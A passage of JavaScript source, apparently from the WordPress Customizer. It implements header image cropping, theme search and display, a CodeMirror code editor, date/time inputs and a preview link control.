		calculateImageSelectOptions: function(attachment, controller) {
			var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
				yInit = parseInt(_wpCustomizeHeader.data.height, 10),
				flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
				flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
				ratio, xImg, yImg, realHeight, realWidth,
				imgSelectOptions;

			realWidth = attachment.get('width');
			realHeight = attachment.get('height');

			this.headerImage = new api.HeaderTool.ImageModel();
			this.headerImage.set({
				themeWidth: xInit,
				themeHeight: yInit,
				themeFlexWidth: flexWidth,
				themeFlexHeight: flexHeight,
				imageWidth: realWidth,
				imageHeight: realHeight
			});

			controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );

			ratio = xInit / yInit;
			xImg = realWidth;
			yImg = realHeight;

			if ( xImg / yImg > ratio ) {
				yInit = yImg;
				xInit = yInit * ratio;
			} else {
				xInit = xImg;
				yInit = xInit / ratio;
			}

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
				imageHeight: realHeight,
				x1: 0,
				y1: 0,
				x2: xInit,
				y2: yInit
			};

			if (flexHeight === false && flexWidth === false) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}
			if (flexHeight === false ) {
				imgSelectOptions.maxHeight = yInit;
			}
			if (flexWidth === false ) {
				imgSelectOptions.maxWidth = xInit;
			}

			return imgSelectOptions;
		},

		/**
		 * Sets up and opens the Media Manager in order to select an image.
		 * Depending on both the size of the image and the properties of the
		 * current theme, a cropping step after selection may be required or
		 * skippable.
		 *
		 * @param {event} event
		 */
		openMedia: function(event) {
			var l10n = _wpMediaViewsL10n;

			event.preventDefault();

			this.frame = wp.media({
				button: {
					text: l10n.selectAndCrop,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title:     l10n.chooseImage,
						library:   wp.media.query({ type: 'image' }),
						multiple:  false,
						date:      false,
						priority:  20,
						suggestedWidth: _wpCustomizeHeader.data.width,
						suggestedHeight: _wpCustomizeHeader.data.height
					}),
					new wp.media.controller.Cropper({
						imgSelectOptions: this.calculateImageSelectOptions
					})
				]
			});

			this.frame.on('select', this.onSelect, this);
			this.frame.on('cropped', this.onCropped, this);
			this.frame.on('skippedcrop', this.onSkippedCrop, this);

			this.frame.open();
		},

		/**
		 * After an image is selected in the media modal,
		 * switch to the cropper state.
		 */
		onSelect: function() {
			this.frame.setState('cropper');
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function(croppedImage) {
			var url = croppedImage.url,
				attachmentId = croppedImage.attachment_id,
				w = croppedImage.width,
				h = croppedImage.height;
			this.setImageFromURL(url, attachmentId, w, h);
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 *
		 * @param {Object} selection
		 */
		onSkippedCrop: function(selection) {
			var url = selection.get('url'),
				w = selection.get('width'),
				h = selection.get('height');
			this.setImageFromURL(url, selection.id, w, h);
		},

		/**
		 * Creates a new wp.customize.HeaderTool.ImageModel from provided
		 * header image data and inserts it into the user-uploaded headers
		 * collection.
		 *
		 * @param {string} url
		 * @param {number} attachmentId
		 * @param {number} width
		 * @param {number} height
		 */
		setImageFromURL: function(url, attachmentId, width, height) {
			var choice, data = {};

			data.url = url;
			data.thumbnail_url = url;
			data.timestamp = _.now();

			if (attachmentId) {
				data.attachment_id = attachmentId;
			}

			if (width) {
				data.width = width;
			}

			if (height) {
				data.height = height;
			}

			choice = new api.HeaderTool.ImageModel({
				header: data,
				choice: url.split('/').pop()
			});
			api.HeaderTool.UploadsList.add(choice);
			api.HeaderTool.currentHeader.set(choice.toJSON());
			choice.save();
			choice.importImage();
		},

		/**
		 * Triggers the necessary events to deselect an image which was set as
		 * the currently selected one.
		 */
		removeImage: function() {
			api.HeaderTool.currentHeader.trigger('hide');
			api.HeaderTool.CombinedList.trigger('control:removeImage');
		}

	});

	/**
	 * wp.customize.ThemeControl
	 *
	 * @class    wp.customize.ThemeControl
	 * @augments wp.customize.Control
	 */
	api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{

		touchDrag: false,
		screenshotRendered: false,

		/**
		 * @since 4.2.0
		 */
		ready: function() {
			var control = this, panel = api.panel( 'themes' );

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( control.params.theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}
			function updateButtons() {
				control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
				control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
			}

			api.state( 'selectedChangesetStatus' ).bind( updateButtons );
			api.state( 'changesetStatus' ).bind( updateButtons );
			updateButtons();

			control.container.on( 'touchmove', '.theme', function() {
				control.touchDrag = true;
			});

			// Bind details view trigger.
			control.container.on( 'click keydown touchend', '.theme', function( event ) {
				var section;
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				// Bail if the user scrolled on a touch device.
				if ( control.touchDrag === true ) {
					return control.touchDrag = false;
				}

				// Prevent the modal from showing when the user clicks the action button.
				if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
					return;
				}

				event.preventDefault(); // Keep this AFTER the key filter above.
				section = api.section( control.section() );
				section.showDetails( control.params.theme, function() {

					// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
					if ( api.settings.theme._filesystemCredentialsNeeded ) {
						section.overlay.find( '.theme-actions .delete-theme' ).remove();
					}
				} );
			});

			control.container.on( 'render-screenshot', function() {
				var $screenshot = $( this ).find( 'img' ),
					source = $screenshot.data( 'src' );

				if ( source ) {
					$screenshot.attr( 'src', source );
				}
				control.screenshotRendered = true;
			});
		},

		/**
		 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
		 *
		 * @since 4.2.0
		 * @param {Array} terms - An array of terms to search for.
		 * @return {boolean} Whether a theme control was activated or not.
		 */
		filter: function( terms ) {
			var control = this,
				matchCount = 0,
				haystack = control.params.theme.name + ' ' +
					control.params.theme.description + ' ' +
					control.params.theme.tags + ' ' +
					control.params.theme.author + ' ';
			haystack = haystack.toLowerCase().replace( '-', ' ' );

			// Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
			if ( ! _.isArray( terms ) ) {
				terms = [ terms ];
			}

			// Always give exact name matches highest ranking.
			if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
				matchCount = 100;
			} else {

				// Search for and weight (by 10) complete term matches.
				matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );

				// Search for each term individually (as whole-word and partial match) and sum weighted match counts.
				_.each( terms, function( term ) {
					matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
					matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
				});

				// Upper limit on match ranking.
				if ( matchCount > 99 ) {
					matchCount = 99;
				}
			}

			if ( 0 !== matchCount ) {
				control.activate();
				control.params.priority = 101 - matchCount; // Sort results by match count.
				return true;
			} else {
				control.deactivate(); // Hide control.
				control.params.priority = 101;
				return false;
			}
		},

		/**
		 * Rerender the theme from its JS template with the installed type.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		rerenderAsInstalled: function( installed ) {
			var control = this, section;
			if ( installed ) {
				control.params.theme.type = 'installed';
			} else {
				section = api.section( control.params.section );
				control.params.theme.type = section.params.action;
			}
			control.renderContent(); // Replaces existing content.
			control.container.trigger( 'render-screenshot' );
		}
	});

	/**
	 * Class wp.customize.CodeEditorControl
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.customize.CodeEditorControl
	 * @augments wp.customize.Control
	 */
	api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 * @param {string} id      - Unique identifier for the control instance.
		 * @param {Object} options - Options hash for the control instance.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this;
			control.deferred = _.extend( control.deferred || {}, {
				codemirror: $.Deferred()
			} );
			api.Control.prototype.initialize.call( control, id, options );

			// Note that rendering is debounced so the props will be used when rendering happens after add event.
			control.notifications.bind( 'add', function( notification ) {

				// Skip if control notification is not from setting csslint_error notification.
				if ( notification.code !== control.setting.id + ':csslint_error' ) {
					return;
				}

				// Customize the template and behavior of csslint_error notifications.
				notification.templateId = 'customize-code-editor-lint-error-notification';
				notification.render = (function( render ) {
					return function() {
						var li = render.call( this );
						li.find( 'input[type=checkbox]' ).on( 'click', function() {
							control.setting.notifications.remove( 'csslint_error' );
						} );
						return li;
					};
				})( notification.render );
			} );
		},

		/**
		 * Initialize the editor when the containing section is ready and expanded.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function() {
			var control = this;
			if ( ! control.section() ) {
				control.initEditor();
				return;
			}

			// Wait to initialize editor until section is embedded and expanded.
			api.section( control.section(), function( section ) {
				section.deferred.embedded.done( function() {
					var onceExpanded;
					if ( section.expanded() ) {
						control.initEditor();
					} else {
						onceExpanded = function( isExpanded ) {
							if ( isExpanded ) {
								control.initEditor();
								section.expanded.unbind( onceExpanded );
							}
						};
						section.expanded.bind( onceExpanded );
					}
				} );
			} );
		},

		/**
		 * Initialize editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initEditor: function() {
			var control = this, element, editorSettings = false;

			// Obtain editorSettings for instantiation.
			if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {

				// Obtain default editor settings.
				editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
				editorSettings.codemirror = _.extend(
					{},
					editorSettings.codemirror,
					{
						indentUnit: 2,
						tabSize: 2
					}
				);

				// Merge editor_settings param on top of defaults.
				if ( _.isObject( control.params.editor_settings ) ) {
					_.each( control.params.editor_settings, function( value, key ) {
						if ( _.isObject( value ) ) {
							editorSettings[ key ] = _.extend(
								{},
								editorSettings[ key ],
								value
							);
						}
					} );
				}
			}

			element = new api.Element( control.container.find( 'textarea' ) );
			control.elements.push( element );
			element.sync( control.setting );
			element.set( control.setting() );

			if ( editorSettings ) {
				control.initSyntaxHighlightingEditor( editorSettings );
			} else {
				control.initPlainTextareaEditor();
			}
		},

		/**
		 * Make sure editor gets focused when control is focused.
		 *
		 * @since 4.9.0
		 * @param {Object}   [params] - Focus params.
		 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
		 * @return {void}
		 */
		focus: function( params ) {
			var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
			originalCompleteCallback = extendedParams.completeCallback;
			extendedParams.completeCallback = function() {
				if ( originalCompleteCallback ) {
					originalCompleteCallback();
				}
				if ( control.editor ) {
					control.editor.codemirror.focus();
				}
			};
			api.Control.prototype.focus.call( control, extendedParams );
		},

		/**
		 * Initialize syntax-highlighting editor.
		 *
		 * @since 4.9.0
		 * @param {Object} codeEditorSettings - Code editor settings.
		 * @return {void}
		 */
		initSyntaxHighlightingEditor: function( codeEditorSettings ) {
			var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;

			settings = _.extend( {}, codeEditorSettings, {
				onTabNext: _.bind( control.onTabNext, control ),
				onTabPrevious: _.bind( control.onTabPrevious, control ),
				onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
			});

			control.editor = wp.codeEditor.initialize( $textarea, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-label': control.params.label,
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			control.container.find( 'label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			/*
			 * When the CodeMirror instance changes, mirror to the textarea,
			 * where we have our "true" change event handler bound.
			 */
			control.editor.codemirror.on( 'change', function( codemirror ) {
				suspendEditorUpdate = true;
				$textarea.val( codemirror.getValue() ).trigger( 'change' );
				suspendEditorUpdate = false;
			});

			// Update CodeMirror when the setting is changed by another plugin.
			control.setting.bind( function( value ) {
				if ( ! suspendEditorUpdate ) {
					control.editor.codemirror.setValue( value );
				}
			});

			// Prevent collapsing section when hitting Esc to tab out of editor.
			control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
				var escKeyCode = 27;
				if ( escKeyCode === event.keyCode ) {
					event.stopPropagation();
				}
			});

			control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
		},

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabNext: function onTabNext() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( controls.length === controlIndex + 1 ) {
				$( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' );
			} else {
				controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		onTabPrevious: function onTabPrevious() {
			var control = this, controls, controlIndex, section;
			section = api.section( control.section() );
			controls = section.controls();
			controlIndex = controls.indexOf( control );
			if ( 0 === controlIndex ) {
				section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
			} else {
				controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
			}
		},

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
			var control = this, message;
			control.setting.notifications.remove( 'csslint_error' );

			if ( 0 !== errorAnnotations.length ) {
				if ( 1 === errorAnnotations.length ) {
					message = api.l10n.customCssError.singular.replace( '%d', '1' );
				} else {
					message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
				}
				control.setting.notifications.add( new api.Notification( 'csslint_error', {
					message: message,
					type: 'error'
				} ) );
			}
		},

		/**
		 * Initialize plain-textarea editor when syntax highlighting is disabled.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		initPlainTextareaEditor: function() {
			var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];

			$textarea.on( 'blur', function onBlur() {
				$textarea.data( 'next-tab-blurs', false );
			} );

			$textarea.on( 'keydown', function onKeydown( event ) {
				var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;

				if ( escKeyCode === event.keyCode ) {
					if ( ! $textarea.data( 'next-tab-blurs' ) ) {
						$textarea.data( 'next-tab-blurs', true );
						event.stopPropagation(); // Prevent collapsing the section.
					}
					return;
				}

				// Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
				if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
					return;
				}

				// Prevent capturing Tab characters if Esc was pressed.
				if ( $textarea.data( 'next-tab-blurs' ) ) {
					return;
				}

				selectionStart = textarea.selectionStart;
				selectionEnd = textarea.selectionEnd;
				value = textarea.value;

				if ( selectionStart >= 0 ) {
					textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
					$textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
				}

				event.stopPropagation();
				event.preventDefault();
			});

			control.deferred.codemirror.rejectWith( control );
		}
	});

	/**
	 * Class wp.customize.DateTimeControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.DateTimeControl
	 * @augments wp.customize.Control
	 */
	api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this;

			control.inputElements = {};
			control.invalidDate = false;

			_.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );

			if ( ! control.setting ) {
				throw new Error( 'Missing setting' );
			}

			control.container.find( '.date-input' ).each( function() {
				var input = $( this ), component, element;
				component = input.data( 'component' );
				element = new api.Element( input );
				control.inputElements[ component ] = element;
				control.elements.push( element );

				// Add invalid date error once user changes (and has blurred the input).
				input.on( 'change', function() {
					if ( control.invalidDate ) {
						control.notifications.add( new api.Notification( 'invalid_date', {
							message: api.l10n.invalidDate
						} ) );
					}
				} );

				// Remove the error immediately after validity change.
				input.on( 'input', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.notifications.remove( 'invalid_date' );
					}
				} ) );

				// Add zero-padding when blurring field.
				input.on( 'blur', _.debounce( function() {
					if ( ! control.invalidDate ) {
						control.populateDateInputs();
					}
				} ) );
			} );

			control.inputElements.month.bind( control.updateDaysForMonth );
			control.inputElements.year.bind( control.updateDaysForMonth );
			control.populateDateInputs();
			control.setting.bind( control.populateDateInputs );

			// Start populating setting after inputs have been populated.
			_.each( control.inputElements, function( element ) {
				element.bind( control.populateSetting );
			} );
		},

		/**
		 * Parse datetime string.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
		 * @return {Object|null} Returns object containing date components or null if parse error.
		 */
		parseDateTime: function parseDateTime( datetime ) {
			var control = this, matches, date, midDayHour = 12;

			if ( datetime ) {
				matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
			}

			if ( ! matches ) {
				return null;
			}

			matches.shift();

			date = {
				year: matches.shift(),
				month: matches.shift(),
				day: matches.shift(),
				hour: matches.shift() || '00',
				minute: matches.shift() || '00',
				second: matches.shift() || '00'
			};

			if ( control.params.includeTime && control.params.twelveHourFormat ) {
				date.hour = parseInt( date.hour, 10 );
				date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
				date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
				delete date.second; // @todo Why only if twelveHourFormat?
			}

			return date;
		},

		/**
		 * Validates if input components have valid date and time.
		 *
		 * @since 4.9.0
		 * @return {boolean} If date input fields has error.
		 */
		validateInputs: function validateInputs() {
			var control = this, components, validityInput;

			control.invalidDate = false;

			components = [ 'year', 'day' ];
			if ( control.params.includeTime ) {
				components.push( 'hour', 'minute' );
			}

			_.find( components, function( component ) {
				var element, max, min, value;

				element = control.inputElements[ component ];
				validityInput = element.element.get( 0 );
				max = parseInt( element.element.attr( 'max' ), 10 );
				min = parseInt( element.element.attr( 'min' ), 10 );
				value = parseInt( element(), 10 );
				control.invalidDate = isNaN( value ) || value > max || value < min;

				if ( ! control.invalidDate ) {
					validityInput.setCustomValidity( '' );
				}

				return control.invalidDate;
			} );

			if ( control.inputElements.meridian && ! control.invalidDate ) {
				validityInput = control.inputElements.meridian.element.get( 0 );
				if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
					control.invalidDate = true;
				} else {
					validityInput.setCustomValidity( '' );
				}
			}

			if ( control.invalidDate ) {
				validityInput.setCustomValidity( api.l10n.invalidValue );
			} else {
				validityInput.setCustomValidity( '' );
			}
			if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
				_.result( validityInput, 'reportValidity' );
			}

			return control.invalidDate;
		},

		/**
		 * Updates number of days according to the month and year selected.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateDaysForMonth: function updateDaysForMonth() {
			var control = this, daysInMonth, year, month, day;

			month = parseInt( control.inputElements.month(), 10 );
			year = parseInt( control.inputElements.year(), 10 );
			day = parseInt( control.inputElements.day(), 10 );

			if ( month && year ) {
				daysInMonth = new Date( year, month, 0 ).getDate();
				control.inputElements.day.element.attr( 'max', daysInMonth );

				if ( day > daysInMonth ) {
					control.inputElements.day( String( daysInMonth ) );
				}
			}
		},

		/**
		 * Populate setting value from the inputs.
		 *
		 * @since 4.9.0
		 * @return {boolean} If setting updated.
		 */
		populateSetting: function populateSetting() {
			var control = this, date;

			if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
				return false;
			}

			date = control.convertInputDateToString();
			control.setting.set( date );
			return true;
		},

		/**
		 * Converts input values to string in Y-m-d H:i:s format.
		 *
		 * @since 4.9.0
		 * @return {string} Date string.
		 */
		convertInputDateToString: function convertInputDateToString() {
			var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
				getElementValue, pad;

			pad = function( number, padding ) {
				var zeros;
				if ( String( number ).length < padding ) {
					zeros = padding - String( number ).length;
					number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
				}
				return number;
			};

			getElementValue = function( component ) {
				var value = parseInt( control.inputElements[ component ].get(), 10 );

				if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
					value = pad( value, 2 );
				} else if ( 'year' === component ) {
					value = pad( value, 4 );
				}
				return value;
			};

			dateFormat = [ 'year', '-', 'month', '-', 'day' ];
			if ( control.params.includeTime ) {
				hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
				dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
			}

			_.each( dateFormat, function( component ) {
				date += control.inputElements[ component ] ? getElementValue( component ) : component;
			} );

			return date;
		},

		/**
		 * Check if the date is in the future.
		 *
		 * @since 4.9.0
		 * @return {boolean} True if future date.
		 */
		isFutureDate: function isFutureDate() {
			var control = this;
			return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
		},

		/**
		 * Convert hour in twelve hour format to twenty four hour format.
		 *
		 * @since 4.9.0
		 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
		 * @param {string} meridian - Either 'am' or 'pm'.
		 * @return {string} Hour in twenty four hour format.
		 */
		convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
			var hourInTwentyFourHourFormat, hour, midDayHour = 12;

			hour = parseInt( hourInTwelveHourFormat, 10 );
			if ( isNaN( hour ) ) {
				return '';
			}

			if ( 'pm' === meridian && hour < midDayHour ) {
				hourInTwentyFourHourFormat = hour + midDayHour;
			} else if ( 'am' === meridian && midDayHour === hour ) {
				hourInTwentyFourHourFormat = hour - midDayHour;
			} else {
				hourInTwentyFourHourFormat = hour;
			}

			return String( hourInTwentyFourHourFormat );
		},

		/**
		 * Populates date inputs in date fields.
		 *
		 * @since 4.9.0
		 * @return {boolean} Whether the inputs were populated.
		 */
		populateDateInputs: function populateDateInputs() {
			var control = this, parsed;

			parsed = control.parseDateTime( control.setting.get() );

			if ( ! parsed ) {
				return false;
			}

			_.each( control.inputElements, function( element, component ) {
				var value = parsed[ component ]; // This will be zero-padded string.

				// Set month and meridian regardless of focused state since they are dropdowns.
				if ( 'month' === component || 'meridian' === component ) {

					// Options in dropdowns are not zero-padded.
					value = value.replace( /^0/, '' );

					element.set( value );
				} else {

					value = parseInt( value, 10 );
					if ( ! element.element.is( document.activeElement ) ) {

						// Populate element with zero-padded value if not focused.
						element.set( parsed[ component ] );
					} else if ( value !== parseInt( element(), 10 ) ) {

						// Forcibly update the value if its underlying value changed, regardless of zero-padding.
						element.set( String( value ) );
					}
				}
			} );

			return true;
		},

		/**
		 * Toggle future date notification for date control.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove the notification.
		 * @return {wp.customize.DateTimeControl}
		 */
		toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'not_future_date';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'error',
					message: api.l10n.futureDateError
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}

			return control;
		}
	});

	/**
	 * Class PreviewLinkControl.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.PreviewLinkControl
	 * @augments wp.customize.Control
	 */
	api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{

		defaults: _.extend( {}, api.Control.prototype.defaults, {
			templateId: 'customize-preview-link-control'
		} ),

		/**
		 * Initialize behaviors.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		ready: function ready() {
			var control = this, element, component, node, url, input, button;

			_.bindAll( control, 'updatePreviewLink' );

			if ( ! control.setting ) {
			    control.setting = new api.Value();
			}

			control.previewElements = {};

			control.container.find( '.preview-control-element' ).each( function() {
				node = $( this );
				component = node.data( 'component' );
				element = new api.Element( node );
				control.previewElements[ component ] = element;
				control.elements.push( element );
			} );

			url = control.previewElements.url;
			input = control.previewElements.input;
			button = control.previewElements.button;

			input.link( control.setting );
			url.link( control.setting );

			url.bind( function( value ) {
				url.element.parent().attr( {
					href: value,
					target: api.settings.changeset.uuid
				} );
			} );

			api.bind( 'ready', control.updatePreviewLink );
			api.state( 'saved' ).bind( control.updatePreviewLink );
			api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
			api.state( 'activated' ).bind( control.updatePreviewLink );
			api.previewer.previewUrl.bind( control.updatePreviewLink );

			button.element.on( 'click', function( event ) {
				event.preventDefault();
				if ( control.setting() ) {
					input.element.select();
					document.execCommand( 'copy' );
					button( button.element.data( 'copied-text' ) );
				}
			} );

			url.element.parent().on( 'click', function( event ) {
				if ( $( this ).hasClass( 'disabled' ) ) {
					event.preventDefault();
				}
			} );

			button.element.on( 'mouseenter', function() {
				if ( control.setting() ) {
					button( button.element.data( 'copy-text' ) );
				}
			} );
		},

		/**
		 * Updates Preview Link
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updatePreviewLink: function updatePreviewLink() {
			var control = this, unsavedDirtyValues;

			unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();

			control.toggleSaveNotification( unsavedDirtyValues );
			control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
			control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
			control.setting.set( api.previewer.getFrontendPreviewUrl() );
		},

		/**
		 * Toggles save notification.
		 *
		 * @since 4.9.0
		 * @param {boolean} notify Add or remove notification.
		 * @return {void}
		 */
		toggleSaveNotification: function toggleSaveNotification( notify ) {
			var control = this, notificationCode, notification;

			notificationCode = 'changes_not_saved';

			if ( notify ) {
				notification = new api.Notification( notificationCode, {
					type: 'info',
					message: api.l10n.saveBeforeShare
				} );
				control.notifications.add( notification );
			} else {
				control.notifications.remove( notificationCode );
			}
		}
	});

	/**
	 * Change objects contained within the main customize object to Settings.
	 *
	 * @alias wp.customize.defaultConstructor
	 */
	api.defaultConstructor = api.Setting;

	/**
	 * Callback for resolved controls.
	 *
	 * @callback wp.customize.deferredControlsCallback
	 * @param {wp.customize.Control[]} controls Resolved controls.
	 */

	/**
	 * Collection of all registered controls.
	 *
	 * @alias wp.customize.control
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for controls to obtain.
	 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
	 * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested controls.
	 *
	 * @example <caption>Loop over all registered controls.</caption>
	 * wp.customize.control.each( function( control ) { ... } );
	 *
	 * @example <caption>Getting `background_color` control instance.</caption>
	 * control = wp.customize.control( 'background_color' );
	 *
	 * @example <caption>Check if control exists.</caption>
	 * hasControl = wp.customize.control.has( 'background_color' );
	 *
	 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
	 * wp.customize.control( 'background_color', function( control ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
	 * promise = wp.customize.control( 'blogname', 'blogdescription' );
	 * promise.done( function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
	 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
	 *
	 * @example <caption>Getting setting value for `background_color` control.</caption>
	 * value = wp.customize.control( 'background_color ').setting.get();
	 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
	 *
	 * @example <caption>Add new control for site title.</caption>
	 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
	 *     setting: 'blogname',
	 *     type: 'text',
	 *     label: 'Site title',
	 *     section: 'other_site_identify'
	 * } ) );
	 *
	 * @example <caption>Remove control.</caption>
	 * wp.customize.control.remove( 'other_blogname' );
	 *
	 * @example <caption>Listen for control being added.</caption>
	 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
	 *
	 * @example <caption>Listen for control being removed.</caption>
	 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
	 */
	api.control = new api.Values({ defaultConstructor: api.Control });

	/**
	 * Callback for resolved sections.
	 *
	 * @callback wp.customize.deferredSectionsCallback
	 * @param {wp.customize.Section[]} sections Resolved sections.
	 */

	/**
	 * Collection of all registered sections.
	 *
	 * @alias wp.customize.section
	 *
	 * @since 3.4.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for sections to obtain.
	 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
	 * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param),
	 *                                                         or promise resolving to requested sections.
	 *
